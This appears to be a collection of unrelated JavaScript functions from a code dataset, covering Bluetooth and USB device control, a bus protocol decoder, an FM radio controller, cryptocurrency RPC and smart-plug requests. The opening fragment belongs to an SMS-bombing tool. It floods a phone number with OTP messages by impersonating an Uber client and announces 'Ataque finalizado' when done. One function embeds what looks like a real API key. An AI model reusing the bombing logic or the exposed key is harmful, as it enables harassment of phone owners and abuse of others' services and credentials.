'application/json; charset=UTF-8',\n\t\t'user-agent': 'okhttp/3.12.0-uber2'\n\t\t}, 'POST').then((res) => {\n\t\t\tif (res.body.match(/SIGN_IN/i)) {\n\t\t\t\t\n\t\t\t\tif (spam.enviados == 0) {\n\t\t\t\t\tb1.start(quantidade, 0, {\n\t\t\t\t\t\tenviados: spam.enviados\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tspam.enviados++\n\t\t\t\tspam.status = 1\n\t\t\t\tb1.update(spam.enviados, {\n\t\t\t\t\tenviados: spam.enviados\n\t\t\t\t});\n\t\t\t\t// console.log('Sucesso » [ Numero: %s, Enviados: %s, Retorno: SMS enviado com sucesso. ] #ServerMP'.success, numero, spam.enviados);\n\t\t\t} else if (res.body.match(/SMS_OTP_TOO_MANY_REQUESTS/i)) {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Excesso de tentativas, tente novamente em breve. ] #ServerMP'.error));\n\t\t\t} else if (res.body.match(/BANNED/)) {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Numero inserido está com conta desativada. ] #ServerMP'.error));\n\t\t\t} else {\n\t\t\t\tconsole.clear();\n\t\t\t\tprocess.exit(console.log('Falhou » [ Ocorreu um error desconhecido. ] #ServerMP'.error));\n\t\t\t}\n\t});\n\t\n\t// Verificar se o spam ja foi finalizado.\n\tif (quantidade == spam.enviados) {\n\t\tb1.start(quantidade, quantidade, {\n\t\t\tenviados: spam.enviados\n\t\t});\n\t\tprocess.exit(console.log('\\n\\nAtaque finalizado! #ServerMP'.help));\n\t} else {\n\t\top5(numero, quantidade);\n\t}\n\t\n}","async function writepumpdurationtoBLE(num){\n console.log('Attempting bluetooth write')\n var arrInt8 = toBytesInt16(num)\n ble.twrite_pumpduration=performance.now()\n try{\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\n console.log(textstr)\n ble.statustext = textstr\n // \n //wdm(textstr)\n }\n catch(error) {\n var textstr = 'Could not write pump duration to ble device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
\" + textstr\n \n }\n}","function cerial() {\n getPortInfo()\n .then( (portDetails) => handleSensor(portDetails))\n .catch((error) => console.log(error));\n // port.write('ROBOT PLEASE RESPOND\\n');\n // The parser will emit any string response\n}","function get24HBTCData() {\r\n\tvar result;\r\n\tvar request = new XMLHttpRequest();\r\n\trequest.open('GET',\r\n\t\t'https://min-api.cryptocompare.com/data/v2/histohour?fsym=BTC&tsym=USD&limit=24&api_key=45419ed9fb65b31861ccb009765d97bb619e9eccedc722044457d066cbfb0a8b', false)\r\n\trequest.send(null);\r\n\tresult = JSON.parse(request.responseText);\r\n\treturn result;\r\n}","function getHSDevices(filter,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action=getdevices&filter='+filter+'&verbose=yes',\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n });\n}","function Bus_Phase(decoder_items) // 65001-65006\n{\n var str = \"\";\n switch (data_nb)\n {\n case 0 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 1 :\n {\n multi_byte_value += (hex_value<<8);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Line-Line AC RMS Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"Line-Line Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n case 2 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 3 :\n {\n multi_byte_value += (hex_value<<8);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Line-Neutral AC RMS Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"Line-Neutral Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n case 4 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 5 :\n {\n multi_byte_value += (hex_value<<8);\n multi_byte_value = Math.floor(multi_byte_value/128);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"AC Frequency : \" + multi_byte_value + \"Hz\");\n ScanaStudio.dec_item_add_content(multi_byte_value + \" kWh\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"AC Frequency : \" + multi_byte_value + \"Hz\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n default :\n {\n packet_title = \"Filled Data\";\n if (hex_value == 255)\n {\n item_content = \"Filled with 0xFF\";\n }\n else\n {\n item_content = \"0x\" + pad(hex_value.toString(16),2) + \", should be 0xFF\";\n types_title = ScanaStudio.PacketColors.Error.Title;\n types_content = ScanaStudio.PacketColors.Error.Content;\n }\n break;\n }\n }//end switch (data_nb)\n}//end function Bus_Phase_C","function proprietary_fast_packet (decoder_items) //126720/130816/130817/130818/130819/130820/130821/130824/130827/130828/130831/130832/130834/130835/130836/130837/130838/130839/130840/130842/130843/130845/130847/130850/130851/130856/130880/130881/130944\n{\n var str = \"\";\n switch (fast_packet_byte)\n {\n case 1 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 2 :\n {\n var manufacturer_code = multi_byte_value + (((hex_value>>5)&0x7)<<8);\n var reserved = (hex_value>>3)&0x3;\n var industry_code = hex_value&0x7;\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*3;\n str = LOOKUP_MANUFACTURER(manufacturer_code);\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\n ScanaStudio.dec_item_add_content(\"Manufacturer Code : \" + str);\n ScanaStudio.dec_item_add_content(\"\" + str);\n ScanaStudio.dec_item_add_content(str);\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n end_item,\n \"Fast Packet Data\",\n (\"Manufacturer Code : \" + str),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n start_item = end_item;\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*5;\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\n ScanaStudio.dec_item_add_content(\"Reserved : 0x\" + pad(reserved.toString(16),1));\n ScanaStudio.dec_item_add_content(\"Reserved\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n end_item,\n \"Fast Packet Data\",\n (\"Reserved : 0x\" + pad(reserved.toString(16),1)),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n str = LOOKUP_INDUSTRY_CODE(industry_code);\n ScanaStudio.dec_item_new(decoder_items.channel_index, end_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Industry Code : \" + str);\n ScanaStudio.dec_item_add_content(str);\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n end_item,\n decoder_items.end_sample_index,\n \"Fast Packet Data\",\n (\"Industry Code : \" + str),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n default :\n {\n packet_title = \"Byte n°\" + fast_packet_byte;\n item_content = \"0x\" + pad(hex_value.toString(16),2);\n break;\n }\n }\n}","loadSample(url, name, callback)\n {\n let request = new XMLHttpRequest();\n request.open('GET', url, true);\n request.responseType = 'arraybuffer';\n request.onload = function()\n {\n let audioData = request.response;\n drummachineInst.audioContext.decodeAudioData(audioData, function(buffer)\n {\n callback(buffer,name);\n });\n };\n request.send();\n }","function GetDeviceIP(){\n showBackgroundImage('wait_message');\n getContent('','/cgi-bin/setup.cgi?GetDeviceIP','function:ShowGetDeviceIP');\n}","function BYB_GetBalance() { \n var bybrequest = {\n \"id\" : \"BYB\",\n \"name\" : \"Bybit\",\n \"apikey\" : '•••••••••',\n \"secret\" : '•••••••••',\n \"command\" : \"/open-api/wallet/fund/records\",\n // \"uri\" : \"https://api.bybit.com\",\n \"uri\" : \"api-testnet.bybit.com\",\n \"apiversion\" : \"/v1/\",\n \"method\" : \"get\",\n \"payload\" : \"\"\n }; \n\n var response = BYB_PrivateRequest(bybrequest);\n Logger.log( JSON.parse(UrlFetchApp.fetch(response.uri, response.params)) );\n}","function processDeviceCommand(request, response) {\n\t\n\tvar deviceIP = request.headers[\"tuyapi-ip\"]\n\tvar deviceID = request.headers[\"tuyapi-devid\"]\n\tvar localKey = request.headers[\"tuyapi-localkey\"]\n\tvar command = request.headers[\"tuyapi-command\"] \n\n\t//var respMsg = \"deviceCommand sending to deviceID: \" + deviceID + \" Command: \" + command;\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command;\n\tconsole.log(respMsg);\n\n\tvar device = new TuyaDevice({\n\t //ip: deviceIP,\n\t id: deviceID,\n\t key: localKey\n\t , issueGetOnConnect: false\n\t});\n\n\tdevice.on('error', error => {\n\t\tconsole.log('Error!', error);\n\t});\n\n\t(async () => {\n\t\tawait device.find();\t \n\n\t\tawait device.connect();\t \n\t\tconsole.log('Connected to device!');\n\t\tlet status = await device.get();\t \n\t\tconsole.log(`Current status: ${status}.`);\t\n\t\tswitch(command) {\n\t\t\tcase \"off\":\t\n\t\t\t\tconsole.log('Setting to false!');\n\t\t\t\tawait device.set({set: false});\n\t\t\tbreak\n\t\t\tcase \"on\":\n\t\t\t\tconsole.log('Setting to true!');\n\t\t\t\tawait device.set({set: true});\n\t\t\tbreak\n\t\t\tcase \"status\":\t\n\t\t\t\tconsole.log('Received status request!');\n\t\t\tbreak\n\t\t}\n\t\tstatus = await device.get(); \t\t \n\t\tconsole.log(`New status: ${status}.`);\t \n\t\tdevice.disconnect();\n\n\t\ttry{\n\t\t\tconsole.log(\"Sending Status to SmartThings:\" +status);\t\n\t\t\tresponse.setHeader(\"tuyapi-onoff\", status);\n\t\t\tresponse.setHeader(\"cmd-response\", status);\n\t\t\tresponse.end();\n\t\t\tconsole.log(\"Status sent to SmartThings:\" +status);\t\n\t\t}catch (err){\n\t\t\tconsole.log(\"Error:\" +err);\t\n\t\t}\n\t})();\t\n}","prepare() {\n if (!navigator.bluetooth) {\n this.log_.warn('Bluetooth Web support is not available!');\n return;\n } else if (this.prepared) {\n return;\n }\n\n this.log_.debug('Preparing Bluetooth LowEnergy support...');\n this.devices_.prepare();\n\n this.prepared = true;\n }","function RadioController() {\n\n var TUNER = {'vendorId': 0x0bda, 'productId': 0x2838};\n var SAMPLE_RATE = 2048000;\n var BUFS_PER_SEC = 5;\n var SAMPLES_PER_BUF = Math.floor(SAMPLE_RATE / BUFS_PER_SEC);\n var NULL_FUNC = function(){};\n var STATE = {\n OFF: 0,\n STARTING: 1,\n PLAYING: 2,\n STOPPING: 3,\n CHG_FREQ: 4,\n SCANNING: 5\n };\n var SUBSTATE = {\n USB: 1,\n TUNER: 2,\n ALL_ON: 3,\n TUNING: 4,\n PLAYING: 5\n };\n\n var decoder = new Worker('decode-worker.js');\n var player = new Player();\n var state = new State(STATE.OFF);\n var requestingBlocks = 0;\n var playingBlocks = 0;\n var frequency = 88500000;\n var stereo = true;\n var stereoEnabled = true;\n var errorHandler;\n var tuner;\n var connection;\n var ui;\n\n /**\n * Starts playing the radio.\n * @param {Function=} opt_callback A function to call when the radio\n * starts playing.\n */\n function start(opt_callback) {\n if (state.state == STATE.OFF) {\n state = new State(STATE.STARTING, SUBSTATE.USB, opt_callback);\n chrome.permissions.request(\n {'permissions': [{'usbDevices': [TUNER]}]},\n function(res) {\n if (!res) {\n state = new State(STATE.OFF);\n throwError('This app has no permission to access the USB ports.');\n } else {\n processState();\n }\n });\n } else if (state.state == STATE.STOPPING || state.state == STATE.STARTING) {\n state = new State(STATE.STARTING, state.substate, opt_callback);\n }\n }\n\n /**\n * Stops playing the radio.\n * @param {Function=} opt_callback A function to call after the radio\n * stops playing.\n */\n function stop(opt_callback) {\n if (state.state == STATE.OFF) {\n opt_callback && opt_callback();\n } else if (state.state == STATE.STARTING || state.state == STATE.STOPPING) {\n state = new State(STATE.STOPPING, state.substate, opt_callback);\n } else if (state.state != STATE.STOPPING) {\n state = new State(STATE.STOPPING, SUBSTATE.ALL_ON, opt_callback);\n }\n }\n\n /**\n * Tunes to another frequency.\n * @param {number} freq The new frequency in Hz.\n */\n function setFrequency(freq) {\n if (state.state == STATE.PLAYING || state.state == STATE.CHG_FREQ\n || state.state == STATE.SCANNING) {\n state = new State(STATE.CHG_FREQ, null, freq);\n } else {\n frequency = freq;\n ui && ui.update();\n }\n }\n\n /**\n * Returns the currently tuned frequency.\n * @return {number} The current frequency in Hz.\n */\n function getFrequency() {\n return frequency;\n }\n\n /**\n * Searches a given frequency band for a station, starting at the\n * current frequency.\n * @param {number} min The minimum frequency, in Hz.\n * @param {number} max The maximum frequency, in Hz.\n * @param {number} step The step between stations, in Hz. The step's sign\n * determines the scanning direction.\n */\n function scan(min, max, step) {\n if (state.state == STATE.PLAYING || state.state == STATE.SCANNING) {\n var param = {\n min: min,\n max: max,\n step: step,\n start: frequency\n };\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\n }\n }\n\n /**\n * Returns whether the radio is doing a frequency scan.\n * @return {boolean} Whether the radio is doing a frequency scan.\n */\n function isScanning() {\n return state.state == STATE.SCANNING;\n }\n\n /**\n * Returns whether the radio is currently playing.\n * @param {boolean} Whether the radio is currently playing.\n */\n function isPlaying() {\n return state.state != STATE.OFF && state.state != STATE.STOPPING;\n }\n\n /**\n * Returns whether the radio is currently stopping.\n * @param {boolean} Whether the radio is currently stopping.\n */\n function isStopping() {\n return state.state == STATE.STOPPING;\n }\n\n /**\n * Returns whether a stereo signal is being decoded.\n * @param {boolean} Whether a stereo signal is being decoded.\n */\n function isStereo() {\n return stereo;\n }\n\n /**\n * Enables or disables stereo decoding.\n * @param {boolean} enable Whether stereo decoding should be enabled.\n */\n function enableStereo(enable) {\n stereoEnabled = enable;\n ui && ui.update();\n }\n\n /**\n * Returns whether stereo decoding is enabled.\n * @return {boolean} Whether stereo decoding is enabled.\n */\n function isStereoEnabled() {\n return stereoEnabled;\n }\n\n /**\n * Saves a reference to the current user interface controller.\n * @param {Object} iface The controller. Must have an update() method.\n */\n function setInterface(iface) {\n ui = iface;\n }\n\n /**\n * Sets a function to be called when there is an error.\n * @param {Function} handler The function to call. Its only parameter\n * is the error message.\n */\n function setOnError(handler) {\n errorHandler = handler;\n }\n\n /**\n * Handles an error.\n * @param {string} msg The error message.\n */\n function throwError(msg) {\n if (errorHandler) {\n errorHandler(msg);\n } else {\n throw msg;\n }\n }\n\n /**\n * Starts the decoding pipeline.\n */\n function startPipeline() {\n // In this way we read one block while we decode and play another.\n if (state.state == STATE.PLAYING) {\n processState();\n }\n processState();\n }\n\n /**\n * Performs the appropriate action according to the current state.\n */\n function processState() {\n if (state.state == STATE.STARTING) {\n if (state.substate == SUBSTATE.USB) {\n state = new State(STATE.STARTING, SUBSTATE.TUNER, state.param);\n chrome.usb.findDevices(TUNER,\n function(conns) {\n if (conns.length == 0) {\n state = new State(STATE.OFF);\n throwError('USB tuner device not found. The Radio Receiver ' +\n 'app needs an RTL2832U-based DVB-T dongle ' +\n '(with an R820T tuner chip) to work.');\n } else {\n connection = conns[0];\n processState();\n }\n });\n } else if (state.substate == SUBSTATE.TUNER) {\n state = new State(STATE.STARTING, SUBSTATE.ALL_ON, state.param);\n tuner = new RTL2832U(connection);\n tuner.setOnError(throwError);\n tuner.open(function() {\n tuner.setSampleRate(SAMPLE_RATE, function(rate) {\n tuner.setCenterFrequency(frequency, function() {\n processState();\n })})});\n } else if (state.substate == SUBSTATE.ALL_ON) {\n var cb = state.param;\n state = new State(STATE.PLAYING);\n tuner.resetBuffer(function() {\n cb && cb();\n ui && ui.update();\n startPipeline();\n });\n }\n } else if (state.state == STATE.PLAYING) {\n ++requestingBlocks;\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\n --requestingBlocks;\n if (state.state == STATE.PLAYING) {\n if (playingBlocks <= 2) {\n ++playingBlocks;\n decoder.postMessage([data, stereoEnabled]);\n }\n }\n processState();\n });\n } else if (state.state == STATE.CHG_FREQ) {\n if (requestingBlocks > 0) {\n return;\n }\n frequency = state.param;\n ui && ui.update();\n tuner.setCenterFrequency(frequency, function() {\n tuner.resetBuffer(function() {\n state = new State(STATE.PLAYING);\n startPipeline();\n })});\n } else if (state.state == STATE.SCANNING) {\n if (requestingBlocks > 0) {\n return;\n }\n var param = state.param;\n if (state.substate == SUBSTATE.TUNING) {\n frequency += param.step;\n if (frequency > param.max) {\n frequency = param.min;\n } else if (frequency < param.min) {\n frequency = param.max;\n }\n ui && ui.update();\n state = new State(STATE.SCANNING, SUBSTATE.PLAYING, param);\n tuner.setCenterFrequency(frequency, function() {\n tuner.resetBuffer(processState);\n });\n } else if (state.substate == SUBSTATE.PLAYING) {\n if (frequency == param.start) {\n state = new State(STATE.PLAYING);\n startPipeline();\n return;\n }\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\n var scanData = {\n 'scanning': true,\n 'frequency': frequency\n };\n ++requestingBlocks;\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\n --requestingBlocks;\n if (state.state == STATE.SCANNING) {\n ++playingBlocks;\n decoder.postMessage([data, stereoEnabled, scanData]);\n }\n processState();\n });\n }\n } else if (state.state == STATE.STOPPING) {\n if (state.substate == SUBSTATE.ALL_ON) {\n if (requestingBlocks > 0) {\n return;\n }\n state = new State(STATE.STOPPING, SUBSTATE.TUNER, state.param);\n ui && ui.update();\n tuner.close(function() {\n processState();\n });\n } else if (state.substate == SUBSTATE.TUNER) {\n state = new State(STATE.STOPPING, SUBSTATE.USB, state.param);\n chrome.usb.closeDevice(connection, function() {\n processState();\n });\n } else if (state.substate == SUBSTATE.USB) {\n var cb = state.param;\n state = new State(STATE.OFF);\n cb && cb();\n ui && ui.update();\n }\n }\n }\n\n /**\n * Receives the sound from the demodulator and plays it.\n * @param {Event} msg The data sent by the demodulator.\n */\n decoder.onmessage = function(msg) {\n --playingBlocks;\n var newStereo = !!msg.data[1];\n if (newStereo != stereo) {\n stereo = newStereo;\n ui && ui.update();\n }\n player.play(msg.data[0], msg.data[1]);\n if (state.state == STATE.SCANNING && msg.data[2] && msg.data[2]['scanning']) {\n if (overload(msg.data[0]) < 0.075) {\n setFrequency(msg.data[2].frequency);\n }\n }\n };\n\n /**\n * Calculates the proportion of samples above maximum amplitude.\n * @param {Samples} samples The audio stream.\n * @param {number} The proportion of samples above the maximum amplitude.\n */\n function overload(samples) {\n var count = 0;\n for (var i = 0; i < samples.data.length; ++i) {\n if (samples.data[i] > 1 || samples.data[i] < -1) {\n ++count;\n }\n }\n return count / samples.data.length;\n }\n\n /**\n * Constructs a state object.\n * @param {number} state The state.\n * @param {number=} opt_substate The sub-state.\n * @param {*=} opt_param The state's parameter.\n */\n function State(state, opt_substate, opt_param) {\n return {\n state: state,\n substate: opt_substate,\n param: opt_param\n };\n }\n\n return {\n start: start,\n stop: stop,\n setFrequency: setFrequency,\n getFrequency: getFrequency,\n scan: scan,\n isScanning: isScanning,\n isPlaying: isPlaying,\n isStopping: isStopping,\n isStereo: isStereo,\n enableStereo: enableStereo,\n isStereoEnabled: isStereoEnabled,\n setInterface: setInterface,\n setOnError: setOnError\n };\n}","function FindAVRs()\n{\n var devs = usb.getDeviceList();\n for (var i=0; i {\n console.log('--writeLoginSetting successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginSetting failed ',error);\n });\n }","function makeRequest(){\n var mediaRequest = {\n responseType: http$RESPONSETYPE_BINARY,\n parser: CadmiumMediaStream$_parseHeaderBoxes,\n url: _self.downloadUrls[cdn.id],\n cdn: cdn,\n track: track,\n stream: _self,\n offset: 0,\n length: _actualHeaderSize || _estimateHeaderSize(contentProfile),\n diagCaption: type + '-' + bitrate + '-hdr',\n cacheBuster: true\n };\n playback.httpPlayback.download(mediaRequest, processResponse);\n }","async sendBinaryRequest(path, params) {\n if (LibraryUtils.getLogLevel() >= 2) console.log(\"sendBinaryRequest(\" + path + \", \" + JSON.stringify(params) + \")\");\n \n // load wasm module\n await LibraryUtils.loadKeysModule();\n \n // serialize params\n let paramsBin = MoneroUtils.jsonToBinary(params);\n \n try {\n \n // send http request\n let resp = await HttpClient.request({\n method: \"POST\",\n uri: this.getUri() + '/' + path,\n username: this.getUsername(),\n password: this.getPassword(),\n body: paramsBin,\n rejectUnauthorized: this.config.rejectUnauthorized,\n requestApi: GenUtils.isFirefox() ? \"xhr\" : \"fetch\"\n });\n \n // validate response\n MoneroRpcConnection.validateHttpResponse(resp);\n \n // process response\n resp = resp.body;\n if (!(resp instanceof Uint8Array)) {\n console.error(\"resp is not uint8array\");\n console.error(resp);\n }\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\n return resp;\n } catch (err) {\n if (err instanceof MoneroRpcError) throw err;\n else throw new MoneroRpcError(err, undefined, path, params);\n }\n }","async getData() {\n\t\t//first we have to find out all the gateways we have to query\n\t\tvar that = this;\n\t\tlet web3 = new Web3(new Web3.providers.HttpProvider(\"https://rinkeby.infura.io\"));\n\t\tlet mphr = new web3.eth.Contract(JSON.parse(mphrABI));\n\t\tmphr.options.address = this.props.profile.mphr;\n\n\t\tmphr.methods.returnGateways().call({}, function (error, result) {\n\t\t\tif(error) { throw (error); }\n\t\t\tfor(var i = 0; i < result.length; i++) {\n\t\t\t\tlet hex = result[i].toString();//force conversion\n\t\t\t\tlet gateway = '';\n\t\t\t\tfor (var j = 0; (j < hex.length && hex.substr(j, 2) !== '00'); j += 2) {\n\t\t\t\t\tgateway += String.fromCharCode(parseInt(hex.substr(j, 2), 16));\n\t\t\t\t}\n\t\t\t\tthat.request(gateway.slice(1), that.props.profile.id, \"all\");\n\t\t\t}\n\t\t});\n\t}","requestGetDeviceName() {\n if (!this.connected) { return; }\n this.writeMessage(MESSAGE_TYPE_GET_DEVICE_NAME, new Uint8Array(0));\n }","async WebGetBinaryStructures(url) {\n var r = await this._BaseWebRequest(url, \"arraybuffer\", \"GET\", null);\n var decoder = new DeltaBinaryStructuresDecoder(new DataView(r));\n decoder.Decode();\n return decoder;\n }","async function findDevice() {\n const device = await liff.bluetooth.requestDevice().catch(e => {\n flashSDKError(e);\n onScreenLog(`ERROR on requestDevice: ${e}`);\n throw e;\n });\n // onScreenLog('detect: ' + device.id);\n\n try {\n if (!deviceUUIDSet.has(device.id)) {\n deviceUUIDSet.add(device.id);\n addDeviceToList(device);\n } else {\n // TODO: Maybe this is unofficial hack > device.rssi\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\n }\n\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\n } catch (e) {\n onScreenLog(`ERROR on findDevice: ${e}\\n${e.stack}`);\n }\n}","async function upload( cmd_array, fastspeed = true){\n let fullflag = false\n \n if(cmd_array.length>1){\n fullflag = Boolean(parseInt(cmd_array[1]))\n }\n\n if(fastspeed){\n await blxConnectionFast()\n if(blxErrMsg) return\n }\n\n for(;;){ // Unlock Device (locked in FAST mode)\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\n if (blxErrMsg) break\n\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\n }\n \n await calcMem(true) // With adjust\n if(blxErrMsg) break\n\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\n\n if(blxUserCB) {\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \n }\n \n await updateFile('data.edt', fullflag)\n if(blxErrMsg) break\n\n await updateFile('data.edt.old', fullflag)\n //if(blxErrMsg) break // not needed\n\n break \n } // for\n\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\n await blxConnectionSlow()\n }\n }","async function findDevice() {\n const device = await liff.bluetooth.requestDevice().catch(e => {\n flashSDKError(e);\n onScreenLog(`ERROR on requestDevice: ${e}`);\n throw e;\n });\n // onScreenLog('detect: ' + device.id);\n\n try {\n if (!deviceUUIDSet.has(device.id)) {\n deviceUUIDSet.add(device.id);\n addDeviceToList(device);\n } else {\n // TODO: Maybe this is unofficial hack > device.rssi\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\n }\n\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\n } catch (e) {\n onScreenLog(`ERROR on findDevice: ${e}\\n${e.stack}`);\n }\n}","function trackerRequest() {\n const buff = Buffer.alloc(16);\n buff.writeUInt32BE(0x417, 0);\n buff.writeUInt32BE(0x27101980, 4);\n buff.writeUInt32BE(0, 8);\n crypto.randomBytes(4).copy(buff, 12);\n return (buff);\n}","function calculateChallengeResponse(challenge, adminkey) {\n var objAlg =\n Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider\n .openAlgorithm(\n Windows.Security.Cryptography.Core.SymmetricAlgorithmNames\n .tripleDesCbc);\n\n var symetricKey = objAlg.createSymmetricKey(adminkey);\n var buffEncrypted =\n Windows.Security.Cryptography.Core.CryptographicEngine.encrypt(\n symetricKey,\n challenge,\n null);\n\n return buffEncrypted;\n }","function getConvolver () {\n const ajax = new window.XMLHttpRequest()\n\n ajax.open('GET', convolverUrl, true)\n\n ajax.responseType = 'arraybuffer'\n\n ajax.onload = function () {\n const audioData = ajax.response\n\n audioCtx.decodeAudioData(audioData, function (buffer) {\n soundSource = audioCtx.createBufferSource()\n convolver.buffer = buffer\n }, function (e) { console.log('Error with decoding audio data' + e.err) })\n\n soundSource.connect(audioCtx.destination)\n soundSource.loop = true\n soundSource.start()\n }\n\n ajax.send()\n }","function getdevicelist (dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-12';\n webphone_api.plhandler.GetDeviceList(dev, callback);\n }\n}","function Decoder(bytes, port) {\n // Decode an uplink message from a buffer\n // (array) of bytes to an object of fields.\n var decoded = {};\n\n if (! (port === 3))\n return null;\n\n // see catena-message-port3-format.md\n // i is used as the index into the message. Start with the flag byte.\n // note that there's no discriminator.\n // test vectors are also available there.\n var i = 0;\n // fetch the bitmap.\n var flags = bytes[i++];\n\n if (flags & 0x1) {\n // set Vraw to a uint16, and increment pointer\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n // interpret uint16 as an int16 instead.\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n // scale and save in result.\n decoded.Vbat = Vraw / 4096.0;\n }\n\n if (flags & 0x2) {\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n decoded.VDD = Vraw / 4096.0;\n }\n\n if (flags & 0x4) {\n var iBoot = bytes[i];\n i += 1;\n decoded.boot = iBoot;\n }\n\n if (flags & 0x8) {\n // we have temp, pressure, RH\n var tRaw = (bytes[i] << 8) + bytes[i + 1];\n if (tRaw & 0x8000)\n tRaw = -0x10000 + tRaw;\n i += 2;\n var rhRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n\n decoded.t = tRaw / 256;\n decoded.rh = rhRaw / 65535.0 * 100;\n decoded.tDew = dewpoint(decoded.t, decoded.rh);\n decoded.tHeatIndexC = CalculateHeatIndexCelsius(decoded.t, decoded.rh);\n }\n\n if (flags & 0x10) {\n // we have light irradiance info\n var irradiance = {};\n decoded.irradiance = irradiance;\n\n var lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.IR = lightRaw;\n\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n 